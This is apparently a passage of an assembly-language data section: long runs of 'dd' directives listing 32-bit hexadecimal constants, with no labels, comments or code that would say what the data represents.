		dd 0B10C22B3h, 4630801Ah, 416558A7h, 335C0EBFh,	4479C2A1h
		dd 5C02E1B8h, 738EE0B6h, 494FE0E4h, 4DD8488Ah, 0A1C07BC0h
		dd 8600DB78h, 92F0FBF7h, 1E1A8D7Ah, 57025B33h, 71B0C1DDh
		dd 8D97382Ch, 0DB7A416Bh, 0E91685B6h, 0EEF07F00h, 540A26h
		dd 0D0C04464h, 50621A92h, 3C40FEBCh, 0FC9411h, 0C59F6EF9h
		dd 0E7AA5693h, 7A989501h, 0EEAF677Bh, 0FB2F455h, 0F56DEB00h
		dd 9CA3292Bh, 0AF7C4300h, 5EB6E2EDh, 0E0B712B4h, 0D9F40060h
		dd 181AD681h, 616C5709h, 56101A5Fh, 0F104DE00h,	893ED0DCh
		dd 0A3924FE8h, 41EC7C4Ch, 0ADF11095h, 0DF808009h, 0C9BF9B02h
		dd 0B26D243Fh, 96B63545h, 7566E297h, 88056C00h,	1FEAF165h
		dd 12FBE290h, 303BB04Bh, 80E47E43h, 172E491Eh, 952D87E8h
		dd 0BD664871h, 0A12C584Dh, 1941ED8Bh, 620B2002h, 0AF60DB6h
		dd 0E8A080C5h, 11D62560h, 0EF7132E0h, 8B831E21h, 510A4EA0h
		dd 8155FBC9h, 5B2E9704h, 4149FF30h, 54332Fh, 0F5A263AEh
		dd 22108Ah, 50BF78C5h, 97AB2DE8h, 0C66990E6h, 0C9798228h
		dd 706D5231h, 1C4F83D5h, 1F3E0E7Ah, 0D84CD700h,	30E964F7h
		dd 0CAFFF338h, 8680A4DBh, 0E4CF8259h, 0B900B5ECh, 0E3817D7Ch
		dd 5A90FA4Eh, 3D062024h, 1C0049EEh, 0AF88CFF6h,	0A84299h
		dd 4551F4B7h, 1698F1E3h, 0C18B6A01h, 61A3BF66h,	47D352Fh
		dd 701E95Eh, 60245090h,	0A38E7AA8h, 0DC5F5E20h,	3309B286h
		dd 8538C9F3h, 2BC921D4h, 9B6A5935h, 7CDCC1E5h, 83DC3136h
		dd 0D6BD176Dh, 56510B73h, 0C513F7F8h, 0F5A92144h, 6287F0BDh
		dd 4E89C909h, 0B23A6623h, 49285F93h, 79DB05BCh,	431A570h
		dd 0F2472310h, 0A79CC90h, 67542B00h, 0D16B5FEh,	0E0FC3CCDh
		dd 0DF29B1D1h, 3300C6B8h, 0FC164247h, 7A80A863h, 44CD6D3h
		dd 0AE2CA121h, 14C87FCFh, 9BBDF7CEh, 0E8C1AACh,	916E136Bh
		dd 0BC45AD04h, 9D33C528h, 0FF2145BAh, 0B8B3F9D1h, 9C351D46h
		dd 4FBF816Dh, 2F344BD1h, 883E0C28h, 1AB7026Ah, 4E187083h
		dd 0ADB012FEh, 7D4CB8B4h, 25E7392Ch, 64020917h,	999C8281h
		dd 0BBE9A0A1h, 0FD2C2E0Ch, 514440CFh, 0B595090Bh, 0BD53E829h
		dd 2B1C4111h, 20F9EA74h, 0E948D4A8h, 0E39517F8h, 0B54AF7E8h
		dd 0A19B2BB7h, 80291A83h, 0BF5C0AA2h, 0FAB57552h, 314D8038h
		dd 3664DE08h, 98344B49h, 86A12BA4h, 59A80427h, 713D04D2h
		dd 0AADBEA15h, 4FC019C8h, 2427839Dh, 3FA29C1Eh,	0FF5C2BA2h
		dd 7BDA3A1Ah, 56DC114Fh, 800C009Ah, 0C97D21E1h,	46F040D2h
		dd 0B604DB00h, 3EC648F8h, 98F54BD8h, 62A8FBACh,	0B08114C1h
		dd 0DB73023Eh, 95570E6h, 2104574Bh, 0C983F88Ah,	449072D9h
		dd 0C44E9D8h, 5B9700F9h, 471DC256h, 9315C79Ch, 118158h
		dd 150DEEB9h, 4195325h,	95177A3Ch, 4C95B848h, 2BFD1201h
		dd 0BD8972FEh, 8C0029F7h, 5EADB61Eh, 9A508928h,	5623D112h
		dd 0E3800193h, 43C82B32h, 0E516F1E0h, 0BA04D18Bh, 0D9AB1FB1h
		dd 29428CDCh, 0B785272Fh, 8D4255AFh, 8A5C0C39h,	4995244Fh
		dd 3603AB0h, 0F0BCDF81h, 0C03388Bh, 7AE2CDABh, 0BD2E6261h
		dd 9B5C2A85h, 80400E64h, 34E9C1E7h, 5A4011D8h, 2C112DC8h
		dd 0F8924971h, 1E229EE2h, 70EA879Dh, 1402A5D5h,	88BCB3FEh
		dd 0B025FA2h, 5C207D9Dh, 0C3D25098h, 206F7EF9h,	3BB0F00h
		dd 96812274h, 0BD2589F4h, 0F90EE071h, 0AEEDB56Ah, 0E5FDB3E0h
		dd 8DE14BC5h, 0DB8040C7h, 0C4E49B9h, 0AC80B39Eh, 0BC35E67Ch
		dd 199CA10Ah, 2D09FAF7h, 2DC67301h, 7A40696Dh, 258BF6C0h
		dd 6CFC0DD5h, 0FCBD0204h, 2B620FEAh, 81A39BF3h,	0BBFB2023h
		dd 26336620h, 939FD22Bh, 0D7003060h, 8100B866h,	50EF84Ch
		dd 5C2AC2h, 0ADC68931h,	1485E9BBh, 0DB81F60Eh, 55B76203h
		dd 79C05C61h, 0F2C936F9h, 4F6075D1h, 8B801AA1h,	880D25F8h
		dd 17C4EA67h, 8CFC9960h, 0F32780E2h, 8AA2B057h,	381B9D01h
		dd 90733DAh, 0B5BCD964h, 0C9A4CA4Ah, 48CB5C01h,	74DB04DDh
		dd 806EAB73h, 0A336AE01h, 2E985C03h, 8A7DA028h,	16553A82h
		dd 44CB7B5Ch, 21820051h, 413ACF58h, 1597AA55h, 0BE45406Bh
		dd 8C5A1B2Ch, 5638E1B2h, 53E2F80Fh, 0CFD25EA0h,	1E056734h
		dd 0E1FF655Ch, 0A2B8EFB9h, 0C9F1C200h, 0EB59D17Eh, 0F32BB8A8h
		dd 282BB575h, 80882981h, 8A7A4BF7h, 0B7342265h,	2E65A7C0h
		dd 0FE074082h, 4F149761h, 0BA20E645h, 602F4045h, 3656BF09h
		dd 5704750Ah, 0B66EFFD9h, 869CF802h, 0C7CAAC72h, 6D252956h
		dd 0B92CC4B2h, 0A3372130h, 954C58EDh, 0D9593F14h, 0C07D26B4h
		dd 1FA0BAAFh, 4BE29350h, 0F3588B63h, 0CE154D25h, 0E381162Fh
		dd 40750B61h, 0D139EE81h, 0C3D5C650h, 767BF979h, 0F4582F6Ch
		dd 0C86E4Fh, 0F6C5E8B8h, 0B7F94CC6h, 0F500083Dh, 73566A37h
		dd 858916CCh, 0BF8F40ADh, 389B45AFh, 1C04E822h,	271F03FFh
		dd 46001359h, 127AC955h, 27C109DDh, 3580537Ch, 99CB7383h
		dd 0CAA2F616h, 0F9C203E9h, 0DFD9505Fh, 54B1EE01h, 9B40C565h
		dd 6BC8EF22h, 667EAF8Bh, 0FC8A13B8h, 39443326h,	0B0D06058h
		dd 993F4A49h, 0A8CABBBCh, 21BC0633h, 138DBD41h,	1D5E900h
		dd 91AD3C99h, 476D5A59h, 4B2542ECh, 64C456B9h, 0D823B8F5h
		dd 97AF43B2h, 1987261Ah, 31B09211h, 52650A5Ch, 200D1D81h
		dd 0F60A252Eh, 0E7E0E7B0h, 122BB12Fh, 0E68AB355h, 301AB225h
		dd 541FDE78h, 3445C1E8h, 0D7EC4689h, 3A8C15E8h,	4D4CAA65h
		dd 0EB32E918h, 0DC288A96h, 0A83C9750h, 0A2F65A2Ch, 0BE7099F0h
		dd 65C61103h, 0DF800F2Fh, 92427169h, 66722CF8h,	0E939C3BEh
		dd 0E1D75857h, 0C989D8ECh, 6118E815h, 680EAA81h, 0A0C0F4h
		dd 61B78BE2h, 4B58745Bh, 0EF2D94B1h, 0F1805DDEh, 0D8531FCh
		dd 0C8B45492h, 7C1B804Fh, 1DC4B3C7h, 40EE2793h,	60D44CBDh
		dd 4D09732Dh, 6450DA61h, 0CED19D34h, 0CFB24A00h, 4D63C294h
		dd 6E5F4896h, 527003EFh, 81A4E713h, 0C726A6C6h,	81E39B4Fh
		dd 9226C680h, 0CB650C20h, 6A5C61F7h, 78E32512h,	3D9529C2h
		dd 9B5234Bh, 31592B98h
		dd 9EEB5DC4h, 934FC7C7h, 0DE611F07h, 886E96EAh,	0AD076675h
		dd 1795F45Bh, 0F24EB3F7h, 1A1D32F0h, 293CE9D8h,	0CEE0A5CDh
		dd 257854EEh, 6BC77594h, 0D780175Ch, 0E70FE671h, 0BF239FE0h
		dd 3AA51EE9h, 3E41A530h, 5C5B0207h, 0A1A75152h,	9A66F863h
		dd 0DEBB9E1Ah, 2EF72C59h, 0F945B431h, 293B08F3h, 9D214B79h
		dd 0A560204Eh, 91CDE94Ah, 0E904352Bh, 3111B823h, 0BD56E987h
		dd 27D228B5h, 5105996h,	0EADE6CABh, 50012820h, 6C22BC96h
		dd 1C4B0DCEh, 2240288Ah, 0B8DB005Ah, 63863F5Ch,	1897BD3Ah
		dd 258D0920h, 0FF6E0535h, 23364BDh, 0C7D6A9F5h,	16D71F7Dh
		dd 0E78AA032h, 5F9C25ECh, 8A4C14C6h, 0C48616B1h, 0B7C05D9Eh
		dd 402F90A4h, 0E8988306h, 4DF451A5h, 9B5A1E25h,	0C0198879h
		dd 0ECADF17Eh, 0C2C62A25h, 7097D35Bh, 4E099776h, 645767E1h
		dd 36851F77h, 0EF2041C8h, 3C5F6FA6h, 73DE80C9h,	4BF6BB34h
		dd 0DB86842Ch, 890FC52Bh, 29418AC2h, 0B7AF9A59h, 0D8FC02B6h
		dd 0BE604253h, 60812145h, 0A1D6A760h, 6D74B1B9h, 0AE309761h
		dd 541198Dh, 97005433h,	0C5C72EB9h, 6E0FAD0Bh, 5A0DCACBh
		dd 2549589Ah, 0CB4E91AEh, 99135B5h, 48E25D1Fh, 569E13D9h
		dd 7A58393h, 0B0CA96FCh, 2C5B6228h, 51F450FBh, 95FCD040h
		dd 0FA2C00AFh, 29D68356h, 7B62FBE0h, 552434EBh,	792D88B7h
		dd 0BD0160DCh, 0DE9114C1h, 42410E64h, 3E516528h, 0B00ED3A3h
		dd 0E39268EAh, 85090B65h, 566DC231h, 1618512Ch,	7D840F0h
		dd 12B37D8Ah, 7CBFE107h, 4A6A2FE8h, 5614B742h, 46F469AAh
		dd 0C74550DCh, 5BDB25BFh, 1764C36Dh, 1405D060h,	6E98764Fh
		dd 1661209Dh, 0BDB21295h, 0E8C70B29h, 4A3ED056h, 4622CFCEh
		dd 0F17EFAEDh, 9AACFE44h, 3ABB66C1h, 88172BC4h,	29E0F3B6h
		dd 2D256203h, 5CD6060h,	456CBFC0h, 0B3658404h, 0B3AC6103h
		dd 0FA75C0B4h, 0F43846E9h, 2D88CFFFh, 6FEF009Fh, 0A81B18CEh
		dd 0E43C2156h, 0E11CA42Dh, 0A6EA0E60h, 7E137AFCh, 0F03C024Dh
		dd 0C18B5C6Dh, 7254B94Ah, 52DB8061h, 0BC60C56Eh, 0DA8A2D71h
		dd 55FB975Ch, 5A87ED8h,	0CA39EAE3h, 776143A3h, 0C6F8E41Ch
		dd 68036D84h, 0C92AD151h, 816801C1h, 0EE0204C7h, 0B610A64Dh
		dd 0E81BAD0Bh, 765308FCh, 4604C21h, 0EC6C01C0h,	8A03E17Bh
		dd 0DE831E44h, 202AA04Dh, 0C6C1A038h, 4115E46h,	0C0500581h
		dd 31C9242Ch, 779BE3D3h, 0A8AF5181h, 0BC0B6AFAh, 31B7E4F1h
		dd 0BF08DCB7h, 5013F4F9h, 8B1F9A95h, 80FFE639h,	2CBE3ABBh
		dd 3E97D1FFh, 0F2F7C54Fh, 74A38BDEh, 0D000F69Eh, 54232FC9h
		dd 0B0C4325Fh, 26A2FFAh, 34004CE4h, 41158113h, 19CC49Eh
		dd 0AB764E92h, 0ECFF4786h, 0F94A8B90h, 0F64E15C7h, 20E76DE6h
		dd 0F8C0DCC1h, 0B89D2200h, 985313Eh, 13F3B91Ah,	439EB7FAh
		dd 158BF033h, 0E0890253h, 72A7D01Bh, 56BA27Dh, 12210A09h
		dd 0C443B20Dh, 0F5035312h, 0EBC81DB3h, 1F2559FFh, 0B13E6645h
		dd 0AB4B83DBh, 798897C5h, 0E71CAF96h, 0D3B48589h, 0A122BF8h
		dd 3137418Ah, 0A50BD59Dh, 0C4184C1Ch, 0A9D99728h, 0F5382F8h
		dd 807F808Dh, 955F1FCFh, 534DF13Ah, 0A38FA660h,	2004B82Ah
		dd 31762D29h, 3E904D55h, 953F8EE6h, 1641325h, 0BD171897h
		dd 3129417Dh, 0EA953E14h, 9EC0CC9Bh, 22C15E4Dh,	18F0F11h
		dd 0AABFF801h, 2B5F30A6h, 1581D61h, 26A9BD10h, 4B0C4B83h
		dd 0FD9B058h, 0E8F6AF80h, 0FE8083h, 0C2EB6B18h,	0B1B96020h
		dd 5C2E0D25h, 70E68B0Eh, 0E40A375Eh, 8D647771h,	8CAF4C84h
		dd 85CA1667h, 0D309CF50h, 4A1F585Fh, 0E51AC9F9h, 0FC67428Bh
		dd 0D9B7C668h, 1825FF90h, 141C6210h, 3AD25BAh, 7A912264h
		dd 0B746C080h, 902052h,	4E63BA2Bh, 49E52995h, 0C82D1979h
		dd 3B7AD98Bh, 9610D127h, 0B5003415h, 0A7985804h, 0C9B99D03h
		dd 19D95B29h, 1BD2307h,	384B5BC9h, 27070D02h, 9035792h
		dd 4AA17701h, 0F848C5F8h, 3D4B8040h, 1C9A6442h,	9334A9B3h
		dd 0B00CEFF7h, 0DC5FD9D1h, 5E80834h, 0E088EA81h, 796C7960h
		dd 0AAB3AD80h, 68002132h, 3E780E35h, 2A1759Ah, 0A3EFE31Bh
		dd 9E61274Ah, 0FC496AB1h, 0E56F5A5Bh, 0A9322016h, 463CD318h
		dd 0D5B325BAh, 0D969DD5Ch, 0BD318F54h, 0D963AB52h, 545ECC84h
		dd 0FE311BA5h, 415ED62h, 808FDF10h, 608D79BBh, 7AB09571h
		dd 5582D709h, 9A25F50Fh, 0C071AC6Ah, 84C168BDh,	44EFCE6h
		dd 7CAFE59Fh, 2D24E39Bh, 0EA1F765Fh, 0DE02D6BAh, 5295417Ah
		dd 1192D656h, 0C09A60C1h, 366148E5h, 386AB95Bh,	50C5F54Ah
		dd 0F5892DDBh, 54DDF985h, 0BD0B878Fh, 0BDF93271h, 12DC2856h
		dd 87DF24EAh, 527227D6h, 4DD22B27h, 1BD8C717h, 53517929h
		dd 0C0976DE9h, 8521190Eh, 0E71352F6h, 61F458Dh,	0D98AAA84h
		dd 0B22BD88Dh, 3D5813A9h, 595B1B49h, 8D090467h,	0B5A894C1h
		dd 0DE7BB0h, 6E154C80h,	91253903h, 0B6676CB9h, 0B001DC07h
		dd 80A9379Ah, 0A2E43BA4h, 87F54E52h, 0AC14B4EAh, 9AFCBC8Eh
		dd 66149533h, 7BB6444h,	7C6C7074h, 56AD08B8h, 4A2D106Eh
		dd 0B52D5E9Dh, 0EB1868A8h, 0FE8ABCA9h, 0F20F5A60h, 0CEBA073Ah
		dd 6181479Ch, 8433E1FFh, 5F51007Ch, 5CC9EF29h, 0A82DF99Eh
		dd 8046C694h, 4A81BDCBh, 364DCE1Ah, 2B34A9B2h, 10131B79h
		dd 2BA2201h, 0D982D381h, 4B563E7Ch, 55D27151h, 3347CECFh
		dd 0C98060D1h, 0BE7F90F2h, 0D6643FBFh, 9B4A6139h, 0E8CC80B0h
		dd 5F1B6D09h, 150082AFh, 81C91055h, 6F673CE3h, 0E1804009h
		dd 82973777h, 5A21B460h, 0EF967A56h, 2F6DED31h,	0B85A742Bh
		dd 65DD5FF7h, 0A0A8FB7Dh, 0BE958505h, 7EBB187Ch, 6F25BEFh
		dd 1604E74Eh, 60AF30D1h, 4AB7CE4Fh, 0C2F2A373h,	3F3261FBh
		dd 0FCC0219Bh, 0DC68E045h, 0FF6F7717h, 0CD574830h, 0F18E00CEh
		dd 0E3C0AD5Dh, 61399A42h, 810698A9h, 708C23ECh,	6B53BEAFh
		dd 2B0934C1h, 3A91A74h,	500986B8h, 75F56C9h, 4989E9CFh
		dd 312BFB0Eh, 72952932h, 138D4A41h, 8FB99A79h, 0E0C68FB4h
		dd 53A989CFh, 3498953Ch, 514A86B3h, 0DBC47CFDh,	0D43BAC5Bh
		dd 95C9373Fh, 0C380026Fh, 0D61956F2h, 0C001D46h, 0A62018FDh
		dd 0B613D40Ah, 23062D08h, 16D1D5Dh, 96F90446h, 6350EBB7h
		dd 80B23C3Ch, 3849E29Eh, 5F576058h, 586BB359h, 29960E09h
		dd 10E557B5h, 0FE1F55DAh, 0AC961691h, 0F571630h, 5B006F27h
		dd 9453B68h, 0DF8BD128h, 0BEC42720h, 37BF2EF6h,	0F8B20144h
		dd 268D2F84h, 3017B23Ah, 0BD256084h, 714716Bh, 22A10C71h
		dd 0E85D93F1h, 9BF90EBh, 404C3F87h, 0E335B5E9h,	0BD79ADEDh
		dd 0B869902Ah, 92F36C58h, 0AE60FB6Ah, 40159D23h, 0FA05BB08h
		dd 6121D82Eh, 0A504746Bh, 0AE4B77FDh, 0B9708B8Dh, 0C9E9504h
		dd 0BCA95D7h, 56213032h, 42E98FA2h, 0BF6A7F4h, 399D0329h
		dd 15601712h, 1D9537B3h, 8E7972D6h, 0BCA26800h,	1F231EE4h
		dd 0CE25B075h, 167398ABh, 3F16AF0Fh, 65F283F6h,	2A95D541h
		dd 5CF1AFC8h, 0F0A5242Ah, 4706AE8h, 0E1E7CD9Dh,	0D0FB4873h
		dd 344BBA42h, 3CAAF4C4h, 44A3560h, 77A040F7h, 0B0011335h
		dd 61CC6673h, 5578826Bh, 821C8D2h, 87439500h, 921B2A3Bh
		dd 0C97A23h, 0ACD8CF46h, 1E2FCEBCh, 5F4AF5B2h, 454D74A7h
		dd 5C61EEACh, 2D58544h,	0AFD8742Ah, 6600DF6Eh, 222E5AE9h
		dd 0BB0FCD03h, 723E52BEh, 814E6DB3h, 2B46CB94h,	0D6A74D30h
		dd 1DA0205h, 85418ACCh
		dd 704A7B0Bh, 4801D15Fh, 78ADC599h, 80E82B57h, 0A22A4FF7h
		dd 59EA0062h, 93154BDEh, 45CB4CA6h, 5E2E8D10h, 6DF32664h
		dd 2A58E14Ah, 8DAA7835h, 3D244311h, 2BA639D5h, 9B80F8DAh
		dd 91C7BA47h, 5E653F12h, 6E5B86B3h, 0E9AE1778h,	31898DE8h
		dd 540A927Dh, 0EB8160ACh, 1925273Fh, 80D6992Ah,	172B85F1h
		dd 12CC6E68h, 4BB1D77Dh, 5351207Ah, 3002870h, 1B327493h
		dd 9547711Ah, 0E4BF3898h, 107F6401h, 2CC9B501h,	21B85942h
		dd 35919D2Bh, 0A47A6AF2h, 0FA17A902h, 1255860Fh, 0D268DD19h
		dd 32007D20h, 0A0377BAAh, 941B011h, 77DF2173h, 53A73C53h
		dd 1D845023h, 85896904h, 75AA2F39h, 0E800EECCh,	0ACBA66D6h
		dd 1CBF958Ch, 0D9D6B300h, 38F0B6ECh, 32255007h,	0E1BD3E01h
		dd 1E742B17h, 25E0AEEh,	114B254Bh, 44A307Ch, 4D2711CEh
		dd 1260664Fh, 1E51711Ch, 74FC7698h, 0CC2ADBF1h,	4009AA1Dh
		dd 4509BB0Fh, 56571225h, 1446D6ADh, 0C7BB5802h,	6DE09AB5h
		dd 0E74A67BFh, 0F0E469CDh, 569928A8h, 280C4589h, 8E1BDF87h
		dd 6BAA840Bh, 1B2367h, 3D02FD7Eh, 352C6433h, 0DE121562h
		dd 1CB25AB6h, 575B30h, 62C19EB4h, 66C8F1B3h, 9B2DBB12h
		dd 6C8E5FB2h, 0E8A4A913h, 739A9567h, 0F637FFh, 9DED4079h
		dd 2255569h, 60A5FE25h,	19ACDABBh, 0EE92811h, 33DAE04Bh
		dd 59251B0Eh, 0FCBCC0E7h, 4D6B0741h, 0D70788C6h, 0E98253FFh
		dd 4D7A3854h, 0FA206EEFh, 95EE7123h, 66E94930h,	772B6748h
		dd 0A19C4A59h, 0D529303Fh, 0D5302241h, 0C10F4475h, 1A7984BDh
		dd 2797A312h, 4A97FE29h, 60111FDFh, 5EA00B95h, 0A69B4024h
		dd 0DE120E43h, 4C08310Fh, 25F0A004h, 0B0646EA2h, 757807B3h
		dd 627EAF5h, 0B360BB5Eh, 0C9B4486Dh, 0F8614F28h, 21622DB8h
		dd 0D69CDB2Fh, 0A82924EBh, 0C96E5A9Dh, 9282A319h, 0E20B2FFAh
		dd 35EC0890h, 40C27425h, 0A8DC299Ah, 0E1920104h, 8DAF1A03h
		dd 62216A46h, 0C21005E8h, 0CB2DE3D7h, 6C64A9h, 7E7F151Fh
		dd 64A80CFh, 5BD95205h,	49B82990h, 437AEA93h, 7713A201h
		dd 3E8D5D11h, 0BD1738E6h, 6F2034D1h, 718402B8h,	5EC93409h
		dd 3AEE2FFFh, 40964D95h, 976B14A8h, 0D9DAED02h,	0D57006D8h
		dd 3E5B653Ah, 2A76250h,	2D8BAEB4h, 0A54079BCh, 46952959h
		dd 6069AD60h, 0FDF483FCh, 4C4BF07Fh, 49277F8Ah,	26A9F98h
		dd 15DC659Ch, 0E0D79C37h, 0BF0F0522h, 12F51208h, 45A9D7B0h
		dd 25806099h, 971D72E7h, 0CE44B3B8h, 0A3A84AE9h, 62378468h
		dd 92F52909h, 0DC3FF420h, 138F960Bh, 95CE7032h,	29BB4498h
		dd 1B149102h, 44800F50h, 0C8604F2Ah, 4800D80Ch,	3F93FC26h
		dd 0BB9D77h, 0EC5763F9h, 5943DDB4h, 0D9F16169h,	0D3880F86h
		dd 528BE5A0h, 30977EACh, 1251BB56h, 0E26F652Dh,	0A6E75E57h
		dd 2BA6F3A0h, 1E510F7Fh, 46212A5Fh, 0C0DC3CD6h,	6484014Fh
		dd 0E783DD74h, 6CCCCC54h, 44F9092Eh, 12036D08h,	5C8EE361h
		dd 0ADC78087h, 278B0F2h, 7F8F3240h, 0D0E0AC08h,	7CA8FF6Ah
		dd 2373D6ADh, 5420360Bh, 6D1F879Ah, 0D079DBFBh,	49126DF7h
		dd 5EE6BF11h, 26A11F22h, 0B0BF9361h, 70E6E304h,	94204480h
		dd 487159E4h, 3BC62625h, 0FA8B11E1h, 0C238172Eh, 335509A4h
		dd 26481657h, 0A86C1338h, 1809176Ah, 0EA8035B9h, 4711A14Bh
		dd 0C009C790h, 72611319h, 882434Ah, 600939B5h, 272D9531h
		dd 0A02B12CBh, 8B32AA60h, 12DDB8D1h, 0CCE98ED2h, 45BAD9F2h
		dd 97F51640h, 0B5BC1B0Ch, 12A62C41h, 0B4FE9263h, 0D98B2BE3h
		dd 9C6A1D8Fh, 65003384h, 7EAA07CAh, 70ECF4Ch, 27BC53F2h
		dd 0C3EBC271h, 20F1D160h, 50E95B80h, 4EB72861h,	0D2CAB8FFh
		dd 0A05F17E2h, 3B007AA8h, 0AEDDA1DFh, 99D892h, 7F51EE75h
		dd 0E1F2645Ah, 360C1197h, 1C3EFA16h, 2CA5A8F4h,	1026FE4Ch
		dd 892F0335h, 601C9C51h, 80CA886Dh, 0C661F889h,	8F814C7Eh
		dd 33DA40Fh, 25DB80A2h,	8EC2255Ch, 0C0477EE2h, 37F6546Ch
		dd 330025FCh, 0AE0B70ECh, 92202FF0h, 26592003h,	77F4FCD6h
		dd 0CBCFB761h, 16547B43h, 0FA2A01C6h, 2FB95071h, 85482C78h
		dd 0A24A6D38h, 3F0A5572h, 9CC03CDBh, 0B2C7077h,	0C7ED9D2Eh
		dd 5F5EABA5h, 0D6804437h, 6CE3AACAh, 0CFD24A2Bh, 9DE05AFBh
		dd 81625EBFh, 10611EDh,	0DB6B5B61h, 8BC58136h, 0A347F5FEh
		dd 0A2121A64h, 0E89B4AF4h, 0D62C0B80h, 552F5B6Ch, 0A7B1F18Ch
		dd 0FAB2401Bh, 0DD69F556h, 2BF80CB1h, 0E445D02Bh, 0D31F32Eh
		dd 634D9D33h, 5ADB282Ah, 6FFA24D3h, 0F3380AE3h,	0C0AC0BCh
		dd 5163F91Eh, 8929E881h, 5B7325B2h, 0FF26FA66h,	9DEE1E1h
		dd 558B766Eh, 0F9884271h, 402622Bh, 27642409h, 0AE3D1ACh
		dd 0BCE72759h, 0C6EA00AEh, 0DCE0F448h, 0F8EA0931h, 16CB574Ch
		dd 0D0F31A81h, 5A998684h, 2DA5D79Ch, 146EEB60h,	0E966B609h
		dd 1F4075D0h, 12EF7B81h, 0B133FB5Ah, 146E2ED5h,	0A1E04F01h
		dd 0F4D9E698h, 0B0C46766h, 0A1120459h, 6B727EF9h, 0B8E356F8h
		dd 0F6F90124h, 0FC473D04h, 0B9A948A2h, 278C15ACh, 6A79BA93h
		dd 0E4B8BF81h, 322E03A9h, 0A7DC5222h, 5B680105h, 18C3FCCh
		dd 0D24B8D65h, 2EDA395Ah, 74DB1557h, 0B269E080h, 0BD14032Ch
		dd 586B291Dh, 15111039h, 32C4CA5Eh, 0C660788Bh,	98DC0027h
		dd 0AD04281Bh, 9502C641h, 0E6C1BAF1h, 30445F20h, 923ABB28h
		dd 0DB747EE1h, 9058DFA0h, 0F2054F1Ch, 0CB818792h, 23A0D391h
		dd 311E992Ah, 31319660h, 9509D208h, 0F13F8D4h, 0B755218Ah
		dd 0F4242BBAh, 7D1A6FEBh, 0D16E5300h, 6B3A1929h, 84E94B4Dh
		dd 80C49F13h, 195ED522h, 0CBA214D1h, 0CD4A8F66h, 6A9B6B13h
		dd 80EF2A81h, 4AE12FAAh, 0E510147Ch, 2FCD4A2Bh,	0A2090C78h
		dd 0DDB8918h, 42E9178h,	0EFCDFE2Fh, 0EB6BABEDh,	39041623h
		dd 0F2872252h, 46B91F14h, 0DBA58993h, 6F593881h, 4D1F4FC5h
		dd 410911E4h, 0BC3A7329h, 47FD8D97h, 9A68B7h, 0BB60CDADh
		dd 2835BD02h, 5152504Ch, 1A003D1Bh, 16DD598Bh, 531C58A5h
		dd 0DF8078C2h, 0FCC8E56Eh, 7712975Bh, 65033C56h, 0B8327203h
		dd 271DF0EBh, 0F5443D26h, 0C37D2300h, 0BD80585Ch, 0E1F300CBh
		dd 0E9816092h, 0CA31B439h, 2135BE32h, 2E5F6101h, 90044235h
		dd 800330F5h, 0F72655E7h, 0F4A503F9h, 0B380DE64h, 6DB501C1h
		dd 6017E44Eh, 4DD6D5EAh, 0DB80111Bh, 35D0B911h,	740B0600h
		dd 16D42A0Ah, 0F86139CEh, 0DE25134Ch, 568713C5h, 41B99589h
		dd 282B5F7Eh, 46BE3913h, 4FC77546h, 0FB0813E9h,	9F12576Fh
		dd 161FFC12h, 60FE50B3h, 265BD46h, 75215682h, 0FD28ADC8h
		dd 672C0525h, 5B2111E9h, 330992B3h, 6CC0A1BDh, 0E925B531h
		dd 11D3671Ch, 17B75802h, 0A889CA7Eh, 0CBE99B2Bh, 0FB1AF7A2h
		dd 0B5402474h, 0C24DBAh, 0FC485EA2h, 737809ADh,	0F3992E12h
		dd 19B2CCB6h, 1F2F0B30h, 2D834F15h, 91E21874h, 99D40B1Ah
		dd 0E44C2A10h, 8B250222h, 0A03D66DFh, 8225655Bh, 9665C254h
		dd 76E222A0h, 2DBDB08Ah, 68F42291h, 0A58531E0h,	0A389510h
		dd 0BC4ADF80h, 0DEAB83D5h, 738283C5h, 27BDF8B8h, 0FCCB1368h
		dd 0DF19FDC6h, 0ABA42990h, 0D83F7220h, 46FA00BCh, 6AFBC1A9h
		dd 0A300E132h, 0A58629D4h, 999DF208h, 949C807Eh, 0A15D059h
		dd 0A916E17Bh, 27B3561Ch, 86665B25h, 16B9A080h,	0B55C16B5h
		dd 0D58FDFBh, 47DEA039h, 0ED945B1Ch, 5FE9CD1Eh,	0F9B2172Ah
		dd 0B4B84Bh, 328FCFD3h
		dd 0A3728794h, 35201C90h, 0C380122Bh, 8BC2B015h, 0ECDDFB5Fh
		dd 2886A3Eh, 0ECF8CA4Ch, 868BE0C7h, 0BC6EBDB8h,	0AB789100h
		dd 0E54A2930h, 0BF50096Ch, 18DF6AB8h, 3F23BDA6h, 4E0535A2h
		dd 0BF54B584h, 5675D982h, 41A4CF46h, 5D2DFF05h,	0BE46A3Ah
		dd 0F93C3267h, 0BD2035Eh, 0D4D9CF40h, 0DB1307Eh, 78962D40h
		dd 501FA10Fh, 2BD6C93Eh, 0B6EEB4h, 58401E43h, 2D1D6024h
		dd 5B5F4E0Bh, 93405150h, 0F137B157h, 6A543096h,	71F8F42Bh
		dd 88533D17h, 1AA2DF8h,	0F5FD432Bh, 80CCA03Bh, 84BF5F70h
		dd 0D9E2C2AFh, 3C79DF56h, 0DFC98015h, 89950460h, 17EEBDC2h
		dd 0C88C8C6h, 0E6FEA609h, 0F4B8D717h, 5F811611h, 23A96B2Eh
		dd 62330019h, 0A61A1EFDh, 0BA666003h, 0B561D145h, 0C44099E8h
		dd 9D2AF1C3h, 429A3B41h, 354E419Ch, 74802614h, 0A583258Dh
		dd 1888419Bh, 1B15A3C0h, 0DA764AF7h, 0C114C8E3h, 2B5F56A9h
		dd 85FFD929h, 0D77ABEh,	9EA873F2h, 7283EA6Dh, 209ABD0Fh
		dd 0A74AE654h, 1211AD08h, 0B38ADCC6h, 0ADCF694Ah, 82F9DA4Ah
		dd 5565E909h, 0B8894B05h, 0C18B8560h, 0E46EFEh,	0F71FE784h
		dd 26F8B1CAh, 38E233BDh, 0BE6E26A5h, 1FBB37B5h,	970B7A5Ah
		dd 0B2507D39h, 85B84FD2h, 5001D004h, 58CAFC51h,	63F85DA4h
		dd 0D3240458h, 0F67A4ADAh, 0FC63E0A6h, 0AC7FCBEh, 7B62C811h
		dd 0A725DE26h, 12FFF6D0h, 831DBC6Dh, 0B021717Ch, 257AE2BFh
		dd 0D6623BA2h, 0DC4ADEh, 0BC6AA5D8h, 0D0AAD96Ch, 8D295C12h
		dd 90A24BBAh, 25E82B18h, 0EE720800h, 4874610h, 0BC400BA2h
		dd 61D95082h, 381D4D00h, 2F913CCh, 43360E4Bh, 0B88B169Eh
